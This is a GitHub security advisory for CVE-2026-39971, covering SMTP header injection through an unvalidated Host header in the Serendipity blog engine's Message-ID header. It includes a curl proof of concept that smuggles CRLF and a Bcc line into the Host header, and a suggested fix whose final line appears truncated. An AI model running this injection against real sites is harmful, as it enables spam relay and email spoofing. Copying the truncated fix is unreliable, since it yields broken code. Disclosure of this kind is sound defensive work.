GHSA-458G-Q4FH-MJ6R
Vulnerability from github – Published: 2026-04-14 22:32 – Updated: 2026-04-14 22:32Summary
Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.
Details
In include/functions.inc.php:548:
$maildata['headers'][] = 'Message-ID: <'
. bin2hex(random_bytes(16))
. '@' . $_SERVER['HTTP_HOST'] // ← unsanitized, attacker-controlled
. '>';
The existing sanitization function only blocks \r\n and URL-encoded variants:
function serendipity_isResponseClean($d) {
return (strpos($d, "\r") === false && strpos($d, "\n") === false
&& stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}
Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.
Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)
PoC
# Trigger comment notification email with injected header
curl -s -X POST \
-H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
-d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
http://[TARGET]/comment.php
Resulting malicious Message-ID header in outgoing email:
Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >
Impact
An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions).
This enables:
- Identity spoofing — emails appear to originate from attacker-controlled domain
- Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure
- Email reputation abuse — attacker's domain embedded in legitimate mail headers
Suggested Fix
Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:
$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '',
parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "s9y/serendipity"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39971"
],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:32:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nSerendipity inserts `$_SERVER[\u0027HTTP_HOST\u0027]` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u003c\u0027 \n . bin2hex(random_bytes(16)) \n . \u0027@\u0027 . $_SERVER[\u0027HTTP_HOST\u0027] // \u2190 unsanitized, attacker-controlled\n . \u0027\u003e\u0027;\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n return (strpos($d, \"\\r\") === false \u0026\u0026 strpos($d, \"\\n\") === false \n \u0026\u0026 stripos($d, \"%0A\") === false \u0026\u0026 stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers \u2014 making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n -d \"serendipity[comment]=test\u0026serendipity[name]=hacker\u0026serendipity[email]=a@b.com\u0026serendipity[entry_id]=1\" \\\n http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** \u2014 emails appear to originate from attacker-controlled domain\n- **Reply hijacking** \u2014 some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** \u2014 attacker\u0027s domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace(\u0027/[^a-zA-Z0-9.\\-]/\u0027, \u0027\u0027, \n parse_url(\u0027http://\u0027 . $_SERVER[\u0027HTTP_HOST\u0027], PHP_URL_HOST)\n);\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u0027;\n```",
"id": "GHSA-458g-q4fh-mj6r",
"modified": "2026-04-14T22:32:38Z",
"published": "2026-04-14T22:32:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
},
{
"type": "PACKAGE",
"url": "https://github.com/s9y/Serendipity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.